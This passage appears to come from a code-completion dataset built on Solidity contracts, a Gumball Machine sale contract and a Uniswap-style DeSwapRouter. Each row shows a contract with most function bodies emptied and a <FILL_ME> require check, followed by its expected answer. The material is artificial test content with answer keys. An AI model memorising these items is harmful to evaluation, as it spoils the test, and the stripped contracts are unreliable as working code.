kkkkkkxkkkkkkk; oWMMMWNXKOxxdodoooocoolcc:::,....;::::::lK0' .oOkkkkkkkkkkkkkkk
kkkkkkxxkkkxkOo. .kWXkdlc;....,:::::::lO0Odc:' ..':::::::l0o ;kOkkxxkkkkkkkkkkk
kkkxkkkkxkkxkkkc. 'OXxc::' ..':::::::cOWWMNkl' ..':::::::dXd 'dOkkkkxkxxkxkkkkk
kkkkxkkkxkkkkkkkc. .xN0o:. ..':::::::oKX0kx0Kd;'.':::cldONMNl ,xkxxkkkkkxkkkkkk
kkkkkkkkkkkkkkkkko. .c0Oc. ..,::::::l0Nl .xNX0OkOO0KXWMMMMK, .oOkkkxxkkkkkkkkk
kkkkkkkkkkkkkkkkkkx;. 'kO:...,:::coxKW0' .oNMMMMMMMMMMMMM0' .oOkkkkkkkkkkkkkk
kkkkkkkkkkxxkkkkxkOk: lWXOxxxkO0KNWMMO. ;KMMMMMMMMMMMW0; :kkkkkkkkkkkkkkkk
kkkkkkkkkkxxxkxxxkkk: oWMMMMMMMMMMMMMWOoc;:o0WMMMMMMMN0xo:. .cxkkkkkkxxxkxxxkkk
kkkkkkkkkkxxxxxkkkkOl. ,KMMMMMMMMMMMMMMMMMMMMMMMMMMMMK; ,dkkkkkkkkxxxxxkkkkk
kkkkkkkkkkkkkxkkkkkkk: ,xXMMMMMMMMMMMMMMMMMMMMMMMMMMx. ;c cOkkkkkOkkkxxxkkkkkk
kkkkkxxkkkkkkkkkkkkkOkl. .;cc:;:xNMMMMMMMMMMMMMWX0xc. .kO. ;kOkkkkkkkkkkkkkkkkk
kkxkkxxkkkxkOkkkkkkkkkkxo:,. .. c0XDGAPX0Oxdl:,.. .,lKWK, 'xOkkkkkxxxkkkkkkkkk
kkkxkxxkkkkkkkkxkkkxxkkkkkOx, .do. ........ ..';cokKWMMMWc .oOkkkkkxxkxxkkkkkkk
kkkkkkkkkkkOkkkxxkkkkxkkkkkOo. :X0ooloooddxkO0XNWMMMMMMMMWl cOkkkkxxkkxkkkkkkkk
kkkkkkkkkkOkkkkkkkxxkkkkkkkkk: .dOdNVTQSWDHMMMMMMMMMMMMNk;. 'okkkkkkkkkkkOkkkkkk
kkkkkkkkkkkkkkkkkkxxkkkkkkkkOx' '0WOccoxkOKWMMMMMMMMWKd, .,okkkkkkkkkkkkkkkkkkkk
kkkkkkkkxxkkkkkkkkkkkkkkkkkkkOl. 'clcccc::dXMMMMMN0d:. .:dkkkkkkkkkkkkkxkkkxxkkk
kkOkxxkkkxxxkkkkkkkkkkkkkxxxkkkl;'.....,;:cooool:'. .,lxkkkkkxxkkkkkkkxxxkkkkkkk
kkkkxxxxxxkkxkkkkkkkkkkkxxxxxkkkOkkdoc:;,,'.....';coxkkkkkxxkxxxkkxkkkkxkkkkkkkk
kkkkkkxxxkkkkkkkkkkOkkkxxkkxxkkkkkkkkkOOOkkkkxkkkOOkkkkkkkxxxkxxxkkkkkkkkkkkkkkk
kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkOkkkkkkkkkkkkkkkkklancexwasxherextookkkk
kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk
*/
/**
* @title Gumball Machine
* @author Swag Golf
*/
contract GumballMachine is Ownable, Pausable {
uint256 public _totalGumballs = 888;
uint256 public _gumballPrice;
uint256 public _maxBatchHandleTurns = 10;
address public _withdrawalAddress;
uint256 public _nextToDispense = 1;
event DispenseGumball( address indexed to, uint256 startIndex, uint256 quantity );
function setGumballPrice(
uint256 gumballPrice
)
external
onlyOwner
{
}
function setMaxBatchHandleTurns(
uint256 maxBatchHandleTurns
)
external
onlyOwner
{
}
constructor(
uint256 gumballPrice,
uint256 maxBatchHandleTurns,
address withdrawalAddress )
{
}
function turnHandle(
uint256 turns)
external
whenNotPaused
payable
{
require(<FILL_ME>)
require( turns <= _maxBatchHandleTurns, "Attempt to turn handle more than maximum allowed" );
require( msg.value >= ( turns * _gumballPrice ), "Invalid payment amount" );
emit DispenseGumball( msg.sender, _nextToDispense, turns );
_nextToDispense += turns;
}
function pause()
external
onlyOwner
{
}
function unPause()
external
onlyOwner
{
}
function setWithdrawalAddress( address newAddress )
external
onlyOwner
{
}
function withdraw()
external
onlyOwner
{
}
}
| (_nextToDispense+turns)<=_totalGumballs,"Turns would exceed gumball supply" | 230,357 | (_nextToDispense+turns)<=_totalGumballs |
"Invalid payment amount" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
/*
kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk
kkkkkkkkkkkkkkkkkkkxxkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkxxxxkkkkkkkkkkkkkkkkkkkkkk
kkkxxkkkkkkkkkkkxxxkkkxkkkkkkkkkkOOOOOOOkOOOkkkkkkkkxxkxxxkkxkkkkkkkkkkkkkkkxxkk
kkxkkxxkkkkkkkkxkkkkxxxkkkkOkkdlc:;,,,,,,,;:cloxkOkkkxxxxxkkkkkkkkkkkkkxxxkkkxkk
kkkkkkxxkkkkkkkkkkkkkkkkkxo:,.. ..'',,'''. .';ldkkkkkkkkkkkkkkkkkkkkkxkxxkkk
kkkkkkkkkkkkkkkkkkkkkkxl;. .;lddkXNWWWWNNx..co:'. .'cdkOkkkkxkkkkxxkkkkkkkkkkkk
kkkkkkkkkxkkkkkkkkkkxc. 'lxxxKNxkWMMMMMMK; 'oONN0d;. .;dkkkkkxxxxxxxkOkkkkkkkkk
kkkkkkxxxxxkkkkkkkkl. ;xOd:,c0MMMMMMMMMMXkd,'kWMMMW0l. .;dkkkkxxxkxxkOkkkkkkkkk
kkkkkkxxkxxkkkxkkd, ,k0l,;xXWMMMMMMMMMMMMWOdKMMMMMMMWKl. .ckOkkkkkkkkkkkkkkkkkk
kkkkkkkxkxxxkkkko. .oXk';kNMMMMMMMMMMMMMMMN0NMMMMMMMMMMWO, :xkkkkkkxxkkkkkkkkkk
kkkkkkkkkkkkkkko. .xWWKONMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMK: :kOkkxkxxkkkkkkkkkk
kkkkkkkkkkkkkOd. .xWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMK; ckkxxxkkxxkkkkkkkk
kkkxkkxxkkkkOk; cNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMO. .dOkxxxkxxkkkkkkkk
kkxkkxxxkkxkOd. .OMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNc :kkkkkkkkkkkkkkkk
kkkkxxkkxxxkOl. ;XMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMx. ,kOkkkkkkkkkkxkkk
kkkkkkkkxkkkkc cNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWNXXKK00XWk. 'xOkkkkkkkkkxxxkk
kkkkkkkkkkkkOl. :NMMMMMMMMMMMMMMMMMMMMMMMMMMWX0kxooolcc:::xNx. 'xOkkkkkkxxxkkxkk
kkkkkkkkkkkkOo. '0MMMMMMMMMMMMWWNNNNNNNXXKOxoc'...,::::::l0No ;kkkkkkkkkkkkkkkk
kkkkkkxkkkkkkk; oWMMMWNXKOxxdodoooocoolcc:::,....;::::::lK0' .oOkkkkkkkkkkkkkkk
kkkkkkxxkkkxkOo. .kWXkdlc;....,:::::::lO0Odc:' ..':::::::l0o ;kOkkxxkkkkkkkkkkk
kkkxkkkkxkkxkkkc. 'OXxc::' ..':::::::cOWWMNkl' ..':::::::dXd 'dOkkkkxkxxkxkkkkk
kkkkxkkkxkkkkkkkc. .xN0o:. ..':::::::oKX0kx0Kd;'.':::cldONMNl ,xkxxkkkkkxkkkkkk
kkkkkkkkkkkkkkkkko. .c0Oc. ..,::::::l0Nl .xNX0OkOO0KXWMMMMK, .oOkkkxxkkkkkkkkk
kkkkkkkkkkkkkkkkkkx;. 'kO:...,:::coxKW0' .oNMMMMMMMMMMMMM0' .oOkkkkkkkkkkkkkk
kkkkkkkkkkxxkkkkxkOk: lWXOxxxkO0KNWMMO. ;KMMMMMMMMMMMW0; :kkkkkkkkkkkkkkkk
kkkkkkkkkkxxxkxxxkkk: oWMMMMMMMMMMMMMWOoc;:o0WMMMMMMMN0xo:. .cxkkkkkkxxxkxxxkkk
kkkkkkkkkkxxxxxkkkkOl. ,KMMMMMMMMMMMMMMMMMMMMMMMMMMMMK; ,dkkkkkkkkxxxxxkkkkk
kkkkkkkkkkkkkxkkkkkkk: ,xXMMMMMMMMMMMMMMMMMMMMMMMMMMx. ;c cOkkkkkOkkkxxxkkkkkk
kkkkkxxkkkkkkkkkkkkkOkl. .;cc:;:xNMMMMMMMMMMMMMWX0xc. .kO. ;kOkkkkkkkkkkkkkkkkk
kkxkkxxkkkxkOkkkkkkkkkkxo:,. .. c0XDGAPX0Oxdl:,.. .,lKWK, 'xOkkkkkxxxkkkkkkkkk
kkkxkxxkkkkkkkkxkkkxxkkkkkOx, .do. ........ ..';cokKWMMMWc .oOkkkkkxxkxxkkkkkkk
kkkkkkkkkkkOkkkxxkkkkxkkkkkOo. :X0ooloooddxkO0XNWMMMMMMMMWl cOkkkkxxkkxkkkkkkkk
kkkkkkkkkkOkkkkkkkxxkkkkkkkkk: .dOdNVTQSWDHMMMMMMMMMMMMNk;. 'okkkkkkkkkkkOkkkkkk
kkkkkkkkkkkkkkkkkkxxkkkkkkkkOx' '0WOccoxkOKWMMMMMMMMWKd, .,okkkkkkkkkkkkkkkkkkkk
kkkkkkkkxxkkkkkkkkkkkkkkkkkkkOl. 'clcccc::dXMMMMMN0d:. .:dkkkkkkkkkkkkkxkkkxxkkk
kkOkxxkkkxxxkkkkkkkkkkkkkxxxkkkl;'.....,;:cooool:'. .,lxkkkkkxxkkkkkkkxxxkkkkkkk
kkkkxxxxxxkkxkkkkkkkkkkkxxxxxkkkOkkdoc:;,,'.....';coxkkkkkxxkxxxkkxkkkkxkkkkkkkk
kkkkkkxxxkkkkkkkkkkOkkkxxkkxxkkkkkkkkkOOOkkkkxkkkOOkkkkkkkxxxkxxxkkkkkkkkkkkkkkk
kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkOkkkkkkkkkkkkkkkkklancexwasxherextookkkk
kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk
*/
/**
* @title Gumball Machine
* @author Swag Golf
*/
contract GumballMachine is Ownable, Pausable {
uint256 public _totalGumballs = 888;
uint256 public _gumballPrice;
uint256 public _maxBatchHandleTurns = 10;
address public _withdrawalAddress;
uint256 public _nextToDispense = 1;
event DispenseGumball( address indexed to, uint256 startIndex, uint256 quantity );
function setGumballPrice(
uint256 gumballPrice
)
external
onlyOwner
{
}
function setMaxBatchHandleTurns(
uint256 maxBatchHandleTurns
)
external
onlyOwner
{
}
constructor(
uint256 gumballPrice,
uint256 maxBatchHandleTurns,
address withdrawalAddress )
{
}
function turnHandle(
uint256 turns)
external
whenNotPaused
payable
{
require( ( _nextToDispense + turns ) <= _totalGumballs, "Turns would exceed gumball supply" );
require( turns <= _maxBatchHandleTurns, "Attempt to turn handle more than maximum allowed" );
require(<FILL_ME>)
emit DispenseGumball( msg.sender, _nextToDispense, turns );
_nextToDispense += turns;
}
function pause()
external
onlyOwner
{
}
function unPause()
external
onlyOwner
{
}
function setWithdrawalAddress( address newAddress )
external
onlyOwner
{
}
function withdraw()
external
onlyOwner
{
}
}
| msg.value>=(turns*_gumballPrice),"Invalid payment amount" | 230,357 | msg.value>=(turns*_gumballPrice) |
"UniswapV2Router: Only feeToSetter" | pragma solidity =0.6.6;
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
import "@uniswap/lib/contracts/libraries/TransferHelper.sol";
import "./interfaces/IUniswapV2Router02.sol";
import "./libraries/DeSwapLibrary.sol";
import "./libraries/SafeMath.sol";
import "./interfaces/IERC20.sol";
import "./interfaces/IWETH.sol";
contract DeSwapRouter is IUniswapV2Router02 {
using SafeMath for uint256;
address public immutable override factory;
address public immutable override WBNB;
mapping(address => bool) public isWhitelisted;
modifier ensure(uint256 deadline) {
}
constructor(address _factory, address _WBNB) public {
}
receive() external payable {
}
function whitelist(address addr, bool _whitelist) external {
require(<FILL_ME>)
isWhitelisted[addr] = _whitelist;
}
// **** ADD LIQUIDITY ****
function _addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin
) internal virtual returns (uint256 amountA, uint256 amountB) {
}
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
virtual
override
ensure(deadline)
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
)
{
}
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
virtual
override
ensure(deadline)
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
)
{
}
// **** REMOVE LIQUIDITY ****
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
public
virtual
override
ensure(deadline)
returns (uint256 amountA, uint256 amountB)
{
}
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
public
virtual
override
ensure(deadline)
returns (uint256 amountToken, uint256 amountETH)
{
}
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external virtual override returns (uint256 amountA, uint256 amountB) {
}
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
)
external
virtual
override
returns (uint256 amountToken, uint256 amountETH)
{
}
// **** REMOVE LIQUIDITY (supporting fee-on-transfer tokens) ****
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) public virtual override ensure(deadline) returns (uint256 amountETH) {
}
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external virtual override returns (uint256 amountETH) {
}
// **** SWAP ****
// requires the initial amount to have already been sent to the first pair
function _swap(
uint256[] memory amounts,
address[] memory path,
address _to
) internal virtual {
}
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
)
external
virtual
override
ensure(deadline)
returns (uint256[] memory amounts)
{
}
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
)
external
virtual
override
ensure(deadline)
returns (uint256[] memory amounts)
{
}
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
)
external
payable
virtual
override
ensure(deadline)
returns (uint256[] memory amounts)
{
}
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
)
external
virtual
override
ensure(deadline)
returns (uint256[] memory amounts)
{
}
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
)
external
virtual
override
ensure(deadline)
returns (uint256[] memory amounts)
{
}
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
)
external
payable
virtual
override
ensure(deadline)
returns (uint256[] memory amounts)
{
}
// **** SWAP (supporting fee-on-transfer tokens) ****
// requires the initial amount to have already been sent to the first pair
function _swapSupportingFeeOnTransferTokens(
address[] memory path,
address _to
) internal virtual {
}
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external virtual override ensure(deadline) {
}
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable virtual override ensure(deadline) {
}
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external virtual override ensure(deadline) {
}
// **** LIBRARY FUNCTIONS ****
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) public pure virtual override returns (uint256 amountB) {
}
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) public pure virtual override returns (uint256 amountOut) {
}
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) public pure virtual override returns (uint256 amountIn) {
}
function getAmountsOut(uint256 amountIn, address[] memory path)
public
view
virtual
override
returns (uint256[] memory amounts)
{
}
function getAmountsIn(uint256 amountOut, address[] memory path)
public
view
virtual
override
returns (uint256[] memory amounts)
{
}
function getAmountOutWhitelist(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) public pure returns (uint256 amountOut) {
}
function getAmountInWhitelist(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) public pure returns (uint256 amountIn) {
}
function getAmountsOutWhitelist(uint256 amountIn, address[] memory path)
public
view
returns (uint256[] memory amounts)
{
}
function getAmountsInWhitelist(uint256 amountOut, address[] memory path)
public
view
returns (uint256[] memory amounts)
{
}
}
| IUniswapV2Factory(factory).feeToSetter()==msg.sender,"UniswapV2Router: Only feeToSetter" | 230,380 | IUniswapV2Factory(factory).feeToSetter()==msg.sender |
"UniswapV2Router: INVALID_PATH" | pragma solidity =0.6.6;
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
import "@uniswap/lib/contracts/libraries/TransferHelper.sol";
import "./interfaces/IUniswapV2Router02.sol";
import "./libraries/DeSwapLibrary.sol";
import "./libraries/SafeMath.sol";
import "./interfaces/IERC20.sol";
import "./interfaces/IWETH.sol";
contract DeSwapRouter is IUniswapV2Router02 {
using SafeMath for uint256;
address public immutable override factory;
address public immutable override WBNB;
mapping(address => bool) public isWhitelisted;
modifier ensure(uint256 deadline) {
}
constructor(address _factory, address _WBNB) public {
}
receive() external payable {
}
function whitelist(address addr, bool _whitelist) external {
}
// **** ADD LIQUIDITY ****
function _addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin
) internal virtual returns (uint256 amountA, uint256 amountB) {
}
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
virtual
override
ensure(deadline)
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
)
{
}
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
virtual
override
ensure(deadline)
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
)
{
}
// **** REMOVE LIQUIDITY ****
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
public
virtual
override
ensure(deadline)
returns (uint256 amountA, uint256 amountB)
{
}
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
public
virtual
override
ensure(deadline)
returns (uint256 amountToken, uint256 amountETH)
{
}
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external virtual override returns (uint256 amountA, uint256 amountB) {
}
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
)
external
virtual
override
returns (uint256 amountToken, uint256 amountETH)
{
}
// **** REMOVE LIQUIDITY (supporting fee-on-transfer tokens) ****
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) public virtual override ensure(deadline) returns (uint256 amountETH) {
}
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external virtual override returns (uint256 amountETH) {
}
// **** SWAP ****
// requires the initial amount to have already been sent to the first pair
function _swap(
uint256[] memory amounts,
address[] memory path,
address _to
) internal virtual {
}
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
)
external
virtual
override
ensure(deadline)
returns (uint256[] memory amounts)
{
}
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
)
external
virtual
override
ensure(deadline)
returns (uint256[] memory amounts)
{
}
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
)
external
payable
virtual
override
ensure(deadline)
returns (uint256[] memory amounts)
{
require(<FILL_ME>)
if (!isWhitelisted[msg.sender])
amounts = DeSwapLibrary.getAmountsOut(factory, msg.value, path);
else
amounts = DeSwapLibrary.getAmountsOutWhitelist(
factory,
msg.value,
path
);
require(
amounts[amounts.length - 1] >= amountOutMin,
"UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT"
);
IWETH(WBNB).deposit{value: amounts[0]}();
assert(
IWETH(WBNB).transfer(
DeSwapLibrary.pairFor(factory, path[0], path[1]),
amounts[0]
)
);
_swap(amounts, path, to);
}
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
)
external
virtual
override
ensure(deadline)
returns (uint256[] memory amounts)
{
}
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
)
external
virtual
override
ensure(deadline)
returns (uint256[] memory amounts)
{
}
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
)
external
payable
virtual
override
ensure(deadline)
returns (uint256[] memory amounts)
{
}
// **** SWAP (supporting fee-on-transfer tokens) ****
// requires the initial amount to have already been sent to the first pair
function _swapSupportingFeeOnTransferTokens(
address[] memory path,
address _to
) internal virtual {
}
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external virtual override ensure(deadline) {
}
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable virtual override ensure(deadline) {
}
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external virtual override ensure(deadline) {
}
// **** LIBRARY FUNCTIONS ****
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) public pure virtual override returns (uint256 amountB) {
}
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) public pure virtual override returns (uint256 amountOut) {
}
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) public pure virtual override returns (uint256 amountIn) {
}
function getAmountsOut(uint256 amountIn, address[] memory path)
public
view
virtual
override
returns (uint256[] memory amounts)
{
}
function getAmountsIn(uint256 amountOut, address[] memory path)
public
view
virtual
override
returns (uint256[] memory amounts)
{
}
function getAmountOutWhitelist(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) public pure returns (uint256 amountOut) {
}
function getAmountInWhitelist(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) public pure returns (uint256 amountIn) {
}
function getAmountsOutWhitelist(uint256 amountIn, address[] memory path)
public
view
returns (uint256[] memory amounts)
{
}
function getAmountsInWhitelist(uint256 amountOut, address[] memory path)
public
view
returns (uint256[] memory amounts)
{
}
}
| path[0]==WBNB,"UniswapV2Router: INVALID_PATH" | 230,380 | path[0]==WBNB |
"UniswapV2Router: INVALID_PATH" | pragma solidity =0.6.6;
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
import "@uniswap/lib/contracts/libraries/TransferHelper.sol";
import "./interfaces/IUniswapV2Router02.sol";
import "./libraries/DeSwapLibrary.sol";
import "./libraries/SafeMath.sol";
import "./interfaces/IERC20.sol";
import "./interfaces/IWETH.sol";
contract DeSwapRouter is IUniswapV2Router02 {
using SafeMath for uint256;
address public immutable override factory;
address public immutable override WBNB;
mapping(address => bool) public isWhitelisted;
modifier ensure(uint256 deadline) {
}
constructor(address _factory, address _WBNB) public {
}
receive() external payable {
}
function whitelist(address addr, bool _whitelist) external {
}
// **** ADD LIQUIDITY ****
function _addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin
) internal virtual returns (uint256 amountA, uint256 amountB) {
}
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
virtual
override
ensure(deadline)
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
)
{
}
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
virtual
override
ensure(deadline)
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
)
{
}
// **** REMOVE LIQUIDITY ****
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
public
virtual
override
ensure(deadline)
returns (uint256 amountA, uint256 amountB)
{
}
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
public
virtual
override
ensure(deadline)
returns (uint256 amountToken, uint256 amountETH)
{
}
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external virtual override returns (uint256 amountA, uint256 amountB) {
}
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
)
external
virtual
override
returns (uint256 amountToken, uint256 amountETH)
{
}
// **** REMOVE LIQUIDITY (supporting fee-on-transfer tokens) ****
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) public virtual override ensure(deadline) returns (uint256 amountETH) {
}
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external virtual override returns (uint256 amountETH) {
}
// **** SWAP ****
// requires the initial amount to have already been sent to the first pair
function _swap(
uint256[] memory amounts,
address[] memory path,
address _to
) internal virtual {
}
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
)
external
virtual
override
ensure(deadline)
returns (uint256[] memory amounts)
{
}
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
)
external
virtual
override
ensure(deadline)
returns (uint256[] memory amounts)
{
}
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
)
external
payable
virtual
override
ensure(deadline)
returns (uint256[] memory amounts)
{
}
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
)
external
virtual
override
ensure(deadline)
returns (uint256[] memory amounts)
{
require(<FILL_ME>)
if (!isWhitelisted[msg.sender])
amounts = DeSwapLibrary.getAmountsIn(factory, amountOut, path);
else
amounts = DeSwapLibrary.getAmountsInWhitelist(
factory,
amountOut,
path
);
require(
amounts[0] <= amountInMax,
"UniswapV2Router: EXCESSIVE_INPUT_AMOUNT"
);
TransferHelper.safeTransferFrom(
path[0],
msg.sender,
DeSwapLibrary.pairFor(factory, path[0], path[1]),
amounts[0]
);
_swap(amounts, path, address(this));
IWETH(WBNB).withdraw(amounts[amounts.length - 1]);
TransferHelper.safeTransferETH(to, amounts[amounts.length - 1]);
}
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
)
external
virtual
override
ensure(deadline)
returns (uint256[] memory amounts)
{
}
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
)
external
payable
virtual
override
ensure(deadline)
returns (uint256[] memory amounts)
{
}
// **** SWAP (supporting fee-on-transfer tokens) ****
// requires the initial amount to have already been sent to the first pair
function _swapSupportingFeeOnTransferTokens(
address[] memory path,
address _to
) internal virtual {
